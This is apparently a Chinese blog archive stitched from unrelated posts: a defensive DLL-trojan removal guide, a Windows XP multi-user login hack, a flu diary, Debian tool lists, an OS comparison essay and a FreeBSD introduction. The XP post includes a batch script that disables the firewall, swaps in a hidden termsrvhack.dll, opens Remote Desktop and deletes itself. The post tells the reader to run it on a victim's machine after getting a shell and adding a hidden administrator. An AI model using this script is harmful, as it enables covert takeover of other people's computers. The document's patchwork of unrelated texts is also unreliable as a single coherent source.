亮的MARK库

mark.liangliang.org.cn

随着MS的操作系统从Win98过渡到Winnt系统(包括2k/xp),MS的任务管理器也一下子脱胎换骨,变得火眼金睛起来(在WINNT下传统木马再也无法隐藏自己的进程),这使得以前在win98下靠将进程注册为系统服务就能够从任务管理器中隐形的木马面临前所未有的危机,所以木马的开发者及时调整了开发思路,所以才会有今天这篇讨论如何清除动态嵌入式DLL木马的文章。

首先,我们来了解一下什么是动态嵌入式木马,为了在NT系统下能够继续隐藏进程,木马的开发者们开始利用DLL(Dynamic Link Library动态链接库)文件,起初他们只是将自己的木马写成DLL形式来替换系统中负责Win Socket1.x的函数调用wsock32.dll(Win Socket2中则由WS2_32.DLL负责),这样通过对约定函数的操作和对未知函数的转发(DLL木马替换wsock32.dll时会将之更名,以便实现日后的函数转发)来实现远程控制的功能。

但是随着MS数字签名技术和文件恢复功能的出台,这种DLL马的生命力也日渐衰弱了,于是在开发者的努力下出现了时下的主流木马–动态嵌入式DLL木马,将DLL木马嵌入到正在运行的系统进程中.explorer.exe、svchost.exe、smss.exe等无法结束的系统关键进程是DLL马的最爱,这样这样在任务管理器里就不会出现我们的DLL文件,而是我们DLL的载体EXE文件.

当然通过进一步的加工DLL木马还可以实现另外的一些如端口劫持/复用(也就是所谓的无端口)、注册为系统服务、开多线程保护、等功能。简而言之,就是DLL木马达到了前所未有的隐蔽程度。

那么我们如何来发现并清除DLL木马呢?

一,从DLL木马的DLL文件入手,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:

运行CMD–转换目录到system32–dir *.exe>exeback.txt& dir *.dll>dllback.txt,这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.

这是我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行CMD–fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。

没有是最好,如果有的话也不要直接DLL掉,我们可以先把它移到回收站里,若系统没有异常反应再将之彻底删除或者提交给杀毒软件公司。

二、上文也曾提到一些系统关键进程是这类木马的最爱,所以一旦我们怀疑系统已经进驻了DLL木马,我们当然要对这些关键进程重点照顾了,怎么照顾?这里推荐一个强大的脱壳工具工具Procedump.exe他可以帮您看出进程到底调用了那些DLL文件(如图1)但是由于有的进程调用的DLL文件非常多,使得靠我们自己去一个核对变的不太现实,

所以我们会用到一个shotgun写的NT进程/内存模块查看器ps.exe,用命令ps.exe /a /m >nowdlls.txt将系统目前调用地所有DLL文件地名称保存到nowdlls.txt,然后我们再用fc将之于事先备份dllback.txt比较一下,这样也能够缩小排查范围。

三、还记得木马的特征之一端口么?所有的木马只要进行连接,只要它接受/发送数据则必然会打开端口,DLL木马也不例外,这也为我们发现他们提供了一条线索,我们可以使用foundstone的进程端口查看工具Fport.exe来查看与端口对应的进程,这样可以将范围缩小到具体的进程,然后结合Procedump来查找DLL木马就比较容易了

.当然有如上文提到的有些木马会通过端口劫持或者端口重用的方法来进行通信,139、80、1443、等常见端口则是木马的最爱。因为即使即使用户使用端口扫描软件检查自己的端口,发现的也是类似TCP UserIP:1026 ControllerIP:80ESTABLISHED 的情况,稍微疏忽一点,您就会以为是自己在浏览网页(防火墙也会这么认为的)。所以光看端口还不够,我们要对端口通信进行监控,这就是第四点要说的。

四、我们可以利用嗅探器来了解打开的端口到底在传输些什么数据。通过将网卡设为混杂模式就可以接受所有的IP报文,嗅探程序可以从中选择值得关注的部分进行分析,剩下的无非是按照RFC文档对协议进行解码。这样就可以确定木马使用的端口,结合Fport和Procedump我们就能够查找到该DLL木马了。至于嗅探器个人推荐使用IRIS,图形界面比较容易上手。

五、通常说道查杀木马我们会习惯性地到注册表碰碰运气,以前可能还蛮有效的,但如果碰到注册为系统服务的木马(原理:在NT/2K/XP这些系统中,系统启动时会加载指定的服务程序)这时候检查:

启动组/注册表/autoexec.bat/win.ini/sysytem.ini/wininit.ini/*.inf(例如autorun.inf)/config.sys等文件就发现不了丝毫的异样,这时候我们就应该查看一下系统服务了:右击我的电脑–管理–服务和应用程序–服务,这时您会看到100多个服务,(MS也真是的,其中75%对个人用户无用,可以禁止。),慢慢找吧,看谁不顺眼就把它拎出来:),

当然如果您以前曾经用导出列表功能对服务备份过,则用文件比较的方法会很容易发现哪些是外来客,这时您可以记录下服务加载的是那个文件,然后用Resource Kits里提供的srvinstw.exe来移除该服务并清除被加载的文件。

通过以上五步,基本能发现并清除狡猾的动态嵌入式DLL木马了,也许您也发现如果适当地做一些备份,会对我们的查找木马的过程有很大的帮助,当然也会减轻不少工作的压力哦。

信息来源:野球小子’BLOG 今天学习研究了一下午的XP 多用户登陆,这是网上找来的资料:

第一步:首先是在Windows XP上安装SP2正式版,按照常规方式安装即可,这里不再赘述。

第二步:准备一份版本较早的SP2终端服务器软件(据说从Build 2082开始该功能就被禁止了,所以最好使用之前版本),中文SP2测试版较难找到,我用的是英文版Build 2055,运行之后没有发现任何问题。你可以从http://www.msfn.org/board/index.php?s=8 … c99733154ae685f&act =Attach&type=post&id=161513下载Build 2055的终端服务器执行文件TermSrv.DLL。从这个链接下载来的是一个扩展名为.DL_的文件,你可以把它的扩展名改成ZIP文件,然后用WinRAR解开它。

第三步:接下来,以安全模式启动Windows XP,如果有多个操作系统,可以启动另一个能访问Windows XP系统分区的系统(除非安装了第三方工具软件,否则Windows 98不能访问NTFS分区,因此Windows 98可能没用)。然后,把Windows XP里面SP2正式版的所有TermSrv.DLL备份一下,在所有TermSrv.DLL文件出现的位置,用Build 2055版本的TermSrv.DLL覆盖。通常,TermSrv.DLL至少出现在二个位置,分别是:\Windows\system32,\Windows\system32\dllcache。凡是原来有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆盖。

第四步:以正常模式启动Windows XP,如果系统的文件保护功能提示说TermSrv.DLL文件已被修改,并询问是否要复原,选择否。

第五步:最后还要修改一下注册表,增加终端服务器的多用户许可。鉴于修改注册表比较麻烦而且容易出错,你可以用下面的批命令修改注册表:

@echo off setlocal set regkey=”HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core” reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f endlocal

将上述内容保存为一个批命令文件,如AA.BAT,双击执行一下就可以了。

我不推荐这种做法 ,太烦锁了,而且还要让系统重起过。我们可以写一个批处理文件使系统不用重起就实现XP多用户登陆,首先我们先来了解一个对注册表操作的命令参数:

REG ADD KeyName [/v ValueName /ve] [/t Type] [/s Separator] [/d Data] [/f]

KeyName [\\Machine\]FullKey Machine 远程机器名 - 忽略默认到当前机器。远程机器上 只有 HKLM 和 HKU。 FullKey ROOTKEY\SubKey ROOTKEY [ HKLM HKCU HKCR HKU HKCC ] SubKey 所选 ROOTKEY 下注册表项的完整名。

/v 所选项之下要添加的值名。

/ve 为注册表项添加空白值名(默认)。

/t RegKey 数据类型 [ REG_SZ REG_MULTI_SZ REG_EXPAND_SZ REG_DWORD REG_BINARY REG_NONE ] 如果忽略,则采用 REG_SZ。

/s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符 如果忽略,则将 “\0” 用作分隔符。

/d 要分配给添加的注册表 ValueName 的数据。

/f 不用提示就强行覆盖现有注册表项。

例如:

REG ADD \\ABC\HKLM\Software\MyCo 添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo

REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead 添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)

REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail 添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0mail\0\0)

REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^% 添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%) 注意: 在扩充字符串中使用插入符号 ( ^ )

为了让系统不重起,我们可以用shutdown -a 这个命令。 根据上面找来的资料,我们可以编写一个批处理,实现XP系统多用户登陆而又不用重起系统。 代码如下:

@echo off @net stop sharedaccess @ntsd -c q -p “pid” @reg add HKLM\SOFTWARE\Microsoft\Windows” “NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f @reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f @reg add HKLM\SYSTEM\CurrentControlSet\control\terminal” “server\Licensing” “Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f @reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f @copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll @attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll @copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll @attrib +h +s +r c:\windows\system32\termsrvhack.dll @shutdown -a @del c:\termsrvhack.dll @net start termservice @del c:\3389.bat

其中“pid”是要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到。当然win2000和以下系统是没有tasklist命令的。 具体的操作方法是 先要得到对方的一个SHELL,然后在shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户。 接下来把下载好的termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理。提示成功! 最后打开登陆器,3389终端登陆! 说明一下你登陆进去后在里面的操作和那台电脑的主人操作是互不影响的,他玩他的,你玩你的,呵呵,爽伐?!

这次的感冒很严重。写了日记。

3号

3号下了夜班,开始发烧,发现气管也开始发炎了。开始吃阿莫西林,据说很管用。

4号

烧退了。阿莫西林管用,气管的炎症基本上全消了。 很高兴,中午拉了肚子。没在意以为是药物反应,下午去中关村买了相机的电池。晚上感觉有些不适。没有在意。

5号

结果到了早上5点多,突然感到很冷,开始不停的大喷嚏,鼻涕开始哗哗的流。全面症状开始,发烧。很怕冷。汗流的哗哗的。头疼。鼻子疼。嗓子疼,喘气嗓子就像被针扎。鼻子也是,全身酸痛。什么都做不了了。动也不能动。只能在床上躺着。一会烧的厉害些,一会好一些。一天都这样子。还没经历过这样的感冒。没有胃口。只想吃些热的,于是中午吃了面,晚上依然如此。开始不停的和热水,按时吃各种抗感冒的药。本来还想做些事情,不知不觉自己竟然确卧床了1天,到了晚上睡不着,冷,出汗,mm说去打点滴吧,我骗她说已经退烧了,晚上太晚了。出去不方便,而且还要开车出去,这种状态实在是动不了。强忍着睡,终于睡着了。

6号 半夜4点多又醒来。好像好一些,不那么怕冷了。发现被子床单潮湿湿的粘在身上。再也睡不下去了。必着眼睛听着钟表嗒嗒的想。过了许久,不知不觉又睡去了。被闹铃叫醒已经是7:20了。开始穿衣服,身上还是疼疼的,烧也没那么厉害了。开着小爱来到单位,一路上没有基本上没什么车。很顺利,只感觉自己反应能力下降了很多。而且一只耳朵一直嗡嗡的响。今天上班,周日没什么事情,在单位躺在椅子上,就像吃了大麻,头昏沉沉的。一直感觉嗓子和鼻子呼吸间有针扎得感觉。 到了中午,打起精神去打饭。回到办公室,强迫自己吃东西,只能感觉到食物的咸味,吃了一点点。实在是不行了。依然躺在椅子上昏昏沉沉的睡。如果还不行晚上一定要去医院。这次感冒怎么会如此厉害呢?心里有些另外的滋味了。

下午4:40了我打起精神来,因为快下班了,整理了自己。发现身上轻松了些。烧基本上退了,但依旧浑身痛,而且嗓子和鼻子没有好转。晕晕沉沉的开着车车多起来,时刻提醒自己注意安全注意车距。快到家了,发愁晚上还要带mm出去吃饭。mm基本上全靠我安排生活,自己不知道如何安排饮食。回到家惊喜的发现mm做饭了。而且是我喜欢喝的玉米粥,心情一下子放松了。感觉也有些胃口。我尽量的吃。因为是mm亲手给我做的。心里很感激。可是实在是口中美有味道。。 躺在沙发上休息,mm在边上看电视。我还是发热(已经基本上没那么厉害了,所以用了热)出汗,mm问我好些没。我支支吾吾的说好多了。mm心疼我。劝我会卧室去睡。回到卧室。躺在床上,感觉舒服多了。比起单位的椅子和沙发。简直是享受,渐渐睡着了

7号 不知睡了多久,醒来,感觉肚子好饿,看了看表早上4点多。这时候的我感觉清爽很多,突然一个声音在我脑中不停的回响,病来如山倒,病去如抽丝。糊里糊涂的居然想了很久,于是感觉自己何时变得如此怪癖。心里小小嘲笑了一下自己。并且,好好体会了一下自己的身体状况,确定没有问题,这时mm也醒了,我说好多了,有些饿,mm说还有泡面,于是起来尝试的吃了泡面,又尝试去洗热水澡洗净粘粘的汗水,结果以失败告终。头还是疼。水准备了,自己没有洗。回去踏踏实实的继续睡。再次醒来已经10点多了。身体轻松了很多洗了澡。感觉基本上好了,mm中午吃饭前突然变得不听话。很让我伤心,吃饭后也是如此。嗓子还是很疼。心里很伤心感觉非常难过。3点多mm开心了,我却准备去上班,此时身体已经基本上康复了。只有嗓子和鼻子不听使唤。到了单位有睡了一会儿,现在醒来。感觉格外轻松。于是将这篇感冒日记写完。

原子能 2007年1月初

刚才论坛上看到有个兄弟提议罗列debian系统配制工具,我觉的很好,为了让更多兄弟看到,发新贴,望别介意。

都是命令行的配制工具:

rcconf 系统引导是你想要启动的服务,很有用工具。

base-config 基系统配制,第一次启动后,碰到的就是它吧,配制的方面很多哦,呵呵。

debconf Debian 包裹配制系统

dpkg-reconfigure 配制一个已经安装的包裹 很有用哦,任何安装的包裹都可以用它来配制。

apt-get install etherconf dpkg-reconfiguration etherconf 网络的配制,包括主机名,IP,DHCP,DNS,GATEWAY,NETMASK。。。等。

如果如果你用lan上网,这几个文件很重要: /etc/hostname主机名 /etc/network/interfaces 网络配制 /etc/resolv.conf DNS配制 如: nameserver 202.96.104.18 nameserver 202.96.103.36

dpkg-reconfiguration xserver-xfree86 鼠标,键盘,显示器和显卡配制,能不能进X,全看它了。 或手工修改/etc/X11/XF86Config-4,作用一样。

modconf 大家肯定会在刚开始装系统时碰到那个另人望而生畏的基于表单的模块选取界面(我还曾专门写一贴,关于如何选取模块),就是它了。Debian想的非常周到,它把你须要的模块都做好了,只等你动手选了,以后忘了选或想移除模块,千万不要靠重装来解决问题,呵呵。

当然也可以手动添加了: /etc/modules 这里写的都是你引导时要加载的内核模块,可以自己添加, /etc/modules.conf 模块配制,这个不用自己改, 在你修改了/etc/modules后,可用update-modules来重建/etc/modules.conf和/etc/chandev.conf。

几个好用的命令: modprobe - high level handling of loadable modules 用来加载模块 modprobe -c 显示当前正被使用的模块配制 modprobe -l 显示能匹配的模块列表,你可以找你需要的模块 modprobe modname 加载模块 modprobe -r modname 移除模块

insmod - install loadable kernel module 给正在运行的内核安装一个可加载模块。 rmmod 从正在运行的内核卸载模块。 lsmod 列出已加载的模块。 modinfo modname 显示每个模块的信息,很有趣。

apt-setup 配制apt源,就是安装时的你看到的那个,帮助你写/etc/apt/source.list

apt-get install aptconf dpkg-reconfigure aptconf 配制apt,如禁用哪个apt源,自定义添加apt源(就象是个储藏室)等,找的是你的source.list,好玩。

apt-get install timezoneconf dpkg-reconfigure timezoneconf 配制时区,日期,和时间。

apt-get install localeconf dpkg-reconfigure localeconf 配制locale,不用我说了吧。

locale 查看本地的locale

dpkg-reconfigure locales 功能同localeconf

cpanel,别人提醒的,呵呵,凑个数 中文图形配制工具。

呵呵,我怎么知道的呢? 呵呵,apt-cache search debconf 记得多看看男人(man)呀,不要花太多的心思在mm上呀 :)

记的跟贴哦!

首先,这里讨论的Windows都是Win NT,也就是目前主流Windows的内核。当然,2003和Vista加入了大量.NET的因素,但其内核还是NT的。NT的起源是DEC的VMS,但是由于MS的商业策略,整个NT其实是一步步地搭出来的,在构建时以GUI为中心构架,CLI则仅仅作为一种辅助,于是VMS对进程的严格保护和封装并没有出现在NT上,更不同于VMS罕见的安全漏洞,NT成为一个漏洞百出而具有极高兼容性代价的系统。 于是,Windows本身不可靠的根源就在于──其核心的实现没有基于一个统一的理念(在统一的理念上,Unix的哲学是“一切都是文件句柄”,Macintosh则是“Mac界面方针”)。这样,随着NT积木一点点儿的搭建,相应的技术也就一点点儿地过时,基础性的概念也就越来越多,NT也就越来越冗大而危险。 这种最典型的现象就是NT对DOS命令行的兼容──NT的GUI实际上无法与残留的CLI共存,这也是NT中只有一个仿DOS命令行的“cmd”的原因。还有一个就是不存在统一数据对象(如Unix中的文件句柄)。而CLI被忽略以及统一数据对象的缺失又导致了: 为了实现并发程序设计以及网络的大量应用,Windows不得不引入更多的基础性概念──这就是为什么Unix系统下的用read/write就可以写出优美的程序而Windows下却要学习大量实际并不基础的基础性对象的原因(当时我们的OS上机就是基于Windows的,当时那个痛苦啊。。。) 大多数程序都没有CLI的功能,不能使用脚本调用,而必须使用脆弱而复杂的RPC来进行通信──众所周知,这正是大量程序漏洞和bug的产生根源 不存在通用的读写工具,各种程序的专有格式使得“兼容”成为一种妄想──而Unix的哲学是:文本化,于是Unix程序才如此的优美而小巧锐利 使用效率的低下──键盘永远比鼠标更有效率,而CLI永远都比GUI具有更强大的处理能力。 然后再来看一个OS性能判断中的三个重要因素:进程、文件系统和内存管理。 在进程上,我刚接触Linux时,着实被Linux中ps的结果吓了一大跳:系统中一共有上百的进程在执行!现在我正在用的系统中里则正运行着70多个进程,也要远远多于我用Windows时的大概30个左右的进程。但是,这并不标明Linux差于Windows,因为Windows生成进程的开销比Unix系统要高出一个数量级!同时Windows将一些系统的关键服务在进程的方面进行了集成,生成进程的开销更加昂贵。 在进程间通讯上,在OS课程上机时,我曾经比较过Linux(当时用的是RH)以及Windows(XP)中管道通讯的性能。结果无论是未命名管道还是命名管道,Linux都比Windows要快得多,大概有5倍左右我记得。 在文件系统上,Windows没有能力提供真正的多用户系统,在早期是因为Windows的商业策略──针对的是个人用户,不需要多用户的功能;而在后期,则更多地是因为为了保证向后兼容能力的遗留代码。于是,虽然Windows中存在访问控制列表可以管理用户权限,但大量的遗留代码使这种机制充满了碎小却足以致命的漏洞。而同样为了向后的兼容性,在各个GUI的客户端之间,其消息通讯机制不存在安全控制,这更是致命的。 在内存管理上,Linux的性能要显著地高于Windows。 首先,Windows实际上只为进程准备了不到2G的可用虚存空间,为了保证一定程度上的灵活性,Windows为程序员提供了多种使用虚存的解决方案,但这种灵活性以及为了DOS支持的兼容性,在内存管理上付出了极高的性能代价;而在Linux中进程则可以认为自己拥有真正的4G地址空间,而不用关心虚存是否提交物理存储等问题,比Windows要灵活得多。 同时在虚存,也就是内存的交换上,Windows的页面文件很难摆脱碎片化越来越严重的危险,这也是为什么VoptXp等硬盘碎片整理工具在Windows系统中不可或缺的原因;而Linux的内存交换除了专有的swap交换分区,我们还可以在普通的文件系统上建立没有空洞的文件来作为交换空间,更可以动态地增加交换文件,具有极高的灵活性。

当然,我们也不能忘记了Windows的特色──注册表以及dll 注册表是Windows存放各种配置数据的地方,而Unix的配置数据则存放在众多但清晰的dotfiles以及/etc中的数据文件中。由于注册表的设计特性,它导致整个系统非常地脆弱:某一个应用程序的故障就可能毁坏注册表而导致整个系统崩溃、甚至无法使用。同时,还有著名的“registry creep”,随着注册表的越来越大,其开销会托慢所有程序的运行。──于是传说中的“Windows无上大法”出现了:重启、重装,并且必须定期重装以保证系统的正常运行。 dll则是程序库,但是由于其版本的控制Windows没有提出良好的解决方案,导致了同样著名的“dll hell”配置问题──安装新的程序都可以任意地改变现有程序依赖的库文件(当然,有些程序会有提示,但你如何判断那个dll是不是有用的?),于是结果不是导致因为特定版本的系统库缺失而引起程序完全无法运行,就是导致dll文件越来越多。

同时,从内核的实现上看,为了追求性能,Windows NT3.5以后的版本将系统的GUI和真正内核一起塞进了同一个地址空间──这也是为什么说Windows没有GUI就无法正常运行。而进一步地,为了与Unix系列在服务器市场上竞争,新的Windows NT甚至将Web服务器也塞进了内核空间以在速度上与Unix竞争!搞笑地想一下,以后Windows的内核空间中会不会被塞进更多的东东呢?譬如MSN?

以上所说的这些所产生的内部边界漏洞,以及各种内部边界漏洞的相互影响,导致想在Windows上达到可靠是根本不可能的。因为非法的程序只需要随便用什么用户将一段随便什么程序的代码运行起来──譬如Office的宏?再譬如智能ABC的著名单击事件?──它就可能向任何运行的程序发送虚假的信息而打开缺口,而任何小小的缺口都可以成为控制整个系统的桥梁。 Windows的成功更多的在于TCP/IP时代到来之前就占领了大量的个人计算机市场,但其本身的缺陷导致了系统本质上的不可靠以及网络应用中的劣势──这也是MS为什么妄图推出.NET架构来拴住用户的原因。

王波

最近几年,很多Linux/Unix的使用者,都知道有这么一个操作系统:FreeBSD。但是,其 中大部分人对这个系统还只是比较简单的了解,还没有机会真正尝试使用、安装、管理 它,这样无形中这个操作系统就被笼罩着一层神秘的面纱。事实上,这个操作系统本身 并不神秘,它的实际应用事实上是非常普遍的,并且其本身也非常易于使用。

1.FreeBSD是Unix吗?

在众多BBS上,比较常问到的一个问题就是“FreeBSD是不是Unix”,to be or not to be?,回答这个问题并没有这个问题本身看起来这么简单。 假如回顾Unix的历史发展的话,我们可以简单的整理出一个脉络,AT&T发明Unix,伯克 利大学对Unix进行研究改进,大家觉得伯克利大学的Unix更好,因此纷纷买伯克利的Un ix发行版本。这种做法就好比现在大家都找RedHat买Linux一样,没有人直接到AT&T买U nix。 因此,在70年代、80年代,最流行的操作系统就是BSD Unix,我们作为一个无法领略那 个黄金时代的年轻Unix使用者,很难了解到BSD在Unix领域中的威望,只有沉浸在他人写 的文章中,看他们以尊敬的口吻谈起BSD。那个时候,很多流行的Unix,如SunOS4等等, 统统都是BSD Unix在某个硬件平台上的具体发行版本,就好比当前RedHat、Turbo等等, 都是Linux的具体发行版本一样。可以想象,那个时候的BSD Unix就好比当前的Linux一 样炙手可热。 不可否认,由于AT&T起诉BSD造成的法律纠纷,商业公司Sun、HP等纷纷转向AT&T的Unix System V,目前BSD Unix已经盛况不再。设想一下,某一天Linus起诉诸多Linux厂商, 那将是一种怎样的悲剧!当然目前由于许可权的完善,这种情况很难发生了。直到1994 年,不含任何AT&T Unix代码的4.4BSD-Lite发布,法律问题才完全结束,然而,长达数 年的法律纠纷已经给市场留出空间,乘着Internet普及的大潮,Linux趁势崛起,代替B SD Unix成为各个商业公司追捧的对象。而AT&T的Unix也没有象想象的那样得到成功,几 经转手倒卖,目前系统的全称为Caldera Unixware,和Caldera OpenLinux一样,属于一 家Linux公司Caldera。 在这些倒卖过程中,原来属于AT&T的Unix商标,也被Novell赠送给一家Unix组织X/Open ,这个组织是由多家商业Unix公司,如IBM,HP,Sun等组成的,这样,所有X/Open的成员 都可以宣称他们的操作系统是Unix。反过来,如果一个公司不是X/Open的成员,那么在 法律上,它就无权享用Unix商标,称自己的操作系统为Unix。 FreeBSD系统是BSD Unix的直接继承者,但正如其名字暗示的,这个系统是由一个非赢利 组织来维护、开发的,显然也不是X/Open的成员。至于FreeBSD到底是不是Unix,聪明的 读者,我想你一定有了自己的答案了吧!

2.谁在使用FreeBSD?

初步接触FreeBSD的用户,可能最大的问题还是关心FreeBSD的应用范围问题,因为不象 Windows, Linux, Solaris这些系统,商业公司有众多的市场费用对它们进行包装宣传, 例如最近的Windows XP就是一例。而FreeBSD则只是默默的在后台承载着具体的工作任务 ,通过它本身的优秀特性,由一个技术人员告诉另一个技术人员,逐渐得到更广泛的应 用。 最愿意使用FreeBSD的用户是互联网服务提供商ISP和网站ICP,著名yahoo并没有应用昂 贵的专业Unix服务器,它们的服务器是由多台运行FreeBSD的PC组成,Internet上最繁忙 的ftp服务器ftp.cdrom.com(目前为ftp.freesoftware.com),单台服务器支持的每天 传输量都在700GB以上,也是由FreeBSD构成的,甚至包括属于微软的hotmail,其大部分 的服务器原本也是FreeBSD,Microsoft曾多次想将它们迁移到Microsoft平台上,最早是 想迁移到Microsoft NT上,但直到Windows 2000出现之后,Microsoft才获得成功,目前 hotmail仍然还有部分服务器仍然运行FreeBSD。 毫无疑问,如果仅仅从技术角度考虑问题,FreeBSD系统无疑是用作Web、Ftp、Email、 DNS等互联网服务器的最佳操作操作系统。这是因为BSD Unix就是TCP/IP协议的最初实现 者,目前大部分TCP/IP的实现代码,都来自于BSD Unix,包括Windows系统中也包含BSD Unix的代码,同样大多数网络应用软件也是从Unix上最先开发的,这样就导致几乎所有 的网络应用都支持FreeBSD,并且在FreeBSD上会有最好的性能表现。这也是在没有任何 市场努力下,FreeBSD得到ISP/ICP支持的根本原因。 另外一些用户,可能其本身没有意识到在使用FreeBSD,实际上每天都在使用FreeBSD处 理工作。这是因为FreeBSD作为技术核心出现在系统内部,一般用户不需直接接触到它。 这个例子最明显的就是使用Mac OS X的桌面用户。Apple公司最新的OS X本质上就是Fre eBSD的核心加上Apple公司的图形界面接口和应用系统。正如,Windows NT/2000的用户 不需要知道其系统内核是来自VMS一样,OS X的用户一般也不知道其实他使用的系统其核 心是FreeBSD。 在桌面系统来讲,Mac OS X独有的图形界面确实更受欢迎,但FreeBSD系统本身也提供了 X Window支持,从而可以使用KDE、gnome等图形用户接口,使得FreeBSD系统也能用在桌 面系统中。然而,在后台使用FreeBSD,而加以定制、开发,而以另外一个名字出现的情 况,Mac OS X并不是一个仅有的特例,很多系统从本质上来讲根本就是FreeBSD系统,再 加上为了适应特殊硬件和特殊需求进行的定制开发。但一般用户并不了解这一点,事实 上也不需要了解这一点。这种情况在专用设备上特别明显,例如路由器、防火墙、存储 服务器等等。 路由器方面最为著名的是Juniper,仅次于cisco的第二大路由器厂家,Juniper的JUNOS 就是基于FreeBSD的系统,当然Juniper的路由器有专用的网络处理芯片。防火墙方面有 Nokia,它就是使用FreeBSD 2.2.x的系统。而Maxtor、AMI等厂家在他们的存储系统中也 是使用的FreeBSD。此外,IBM的InterJet也是使用的FreeBSD。其他不太著名的厂家,使 用FreeBSD的更是比比皆是。 因此,可能你还没有意识到你所使用的网络其实与FreeBSD密切相关,事实上,也许你每 天都在和一个FreeBSD系统打交道呢!

3.为什么选用FreeBSD?

然而,在使用FreeBSD完成这些任务的同时,使用其他种类的Unix,包括Linux,同样也 能完成这些任务。特别是目前Linux正处于众人关心的焦点,同为PC平台上的免费Unix, 有什么理由去选择FreeBSD而不用Linux呢?那么,让我们首先看看专业厂家的理由吧!

这些专用设备厂商和ISP选择FreeBSD的原因一方面是高性能,很多证据表明,即使是商 业Unix,在性能上也比不上FreeBSD,尤其是网络性能。例如AT&T Unix System V系列的 商业Unix,其IP堆栈基于stream,这样灵活性虽强,但效率就大打折扣了,以至于Sun在 Solaris 2.6之后,又将其网络功能移入内核,不再通过stream实现TCP/IP了。 另一个选择FreeBSD的原因是稳定性,虽然没有办法确切的找出证据来说明FreeBSD比其 他Unix更稳定,然而无论是从Internet上关于系统崩溃的报告,还是诸多Unix使用者的 个人使用经验,都得不到FreeBSD不稳定或FreeBSD不如某种Unix稳定的结论。原因就在 于BSD Unix的代码经过了几十年的时间和多种不同硬件平台的考验,更为成熟。事实上 ,稳定性对于全天候运行的系统至关重要,因此这一点对于专用设备和服务器系统来讲 ,尤其重要。而FreeBSD正由于其特别的稳定性,得到了一致的认可,被誉为“象岩石一 样稳定”。 专用设备厂商选择使用FreeBSD的另一个理由是许可权方式,基本上,Linux是使用了GN U许可的方式,我们都知道这种方式对于进行再次开发有更大的限制,要求对GNU软件的 改动也要开放源代码。原则上来讲,GNU许可是合理的,应该得到支持,但是在某些领域 内由于涉及到商业利益、相关软件硬件代码保密的需要等等,采用GNU许可有一定的障碍 ,这样采用BSD许可方式就更受欢迎了!这是因为FreeBSD遵循的BSD许可比常用的GPL许 可更为宽松的原因,它允许保留改进过的源代码,而直接发布二进制形式的软件。 对于专业厂家、ISP/ICP来讲,采用FreeBSD显然是比较自然的,因为他们有专门的系统 管理员去提供支持,而网络管理员事实上是希望采用FreeBSD的,因为这个系统一经安装 完毕正常运转,几乎就不再需要任何额外的管理负担,例如Windows系统经常发生的当机 、死锁等需要重新启动等等,系统的安全性也非常高,也不必担心黑客攻击。但是对于 普通用户,选用这个系统时,常常就会考虑,“谁来提供服务?”。 基本上,对于Linux、FreeBSD这些依赖于互联网发展起来的系统来讲,非常重要的一种 模式就是用户群体的自组织和自服务性,这就是说用户之间可以相互提供有限的技术服 务,例如解答问题,提供指导等等。这种自服务方式经实践证明是非常有效的,但是, 普通的企业经理也许更关心商业服务,希望能得到更可靠、稳定、全面的服务。例如, 对于Windows来讲,Microsoft的工程师会提供服务,对于Solaris来讲,Sun的工程师会 提供服务,对于Linux来讲,RedHat、Turbo以及国内的蓝点等等厂家会提供商业服务。

对于FreeBSD,应该找什么人或公司提供商业服务呢?由于FreeBSD的用户群的技术层次 比较高,对于商业服务的需求就小一些,但事实上商业服务还是存在的,在国外,这种 高层次的商业服务一方面这种服务可以从一些有丰富经验的系统专家那里获得,企业通 过聘请他们担任技术顾问提供技术服务,另一方面可以从专业技术服务公司获得,提供 技术服务已经是目前IT企业的一个趋势,如IBM、HP都在转型作服务,而FreeBSD商业服 务可以从Daemonnews等公司获得。国内的情况也是类似的,例如共创软件等一些公司和 一些个人都可以为FreeBSD提供商业技术支持。

如果你确定硬盘的跳线没有问题的话,升级最新的Service Pack比如说是SP4就可以了,如果WINXP不带SP1的话也会有这样的问题的.最多只能认到137G的. ======================================================= 如何在 Windows XP 中启用对 ATAPI 磁盘驱动器的 48 位逻辑块寻址支持

概要

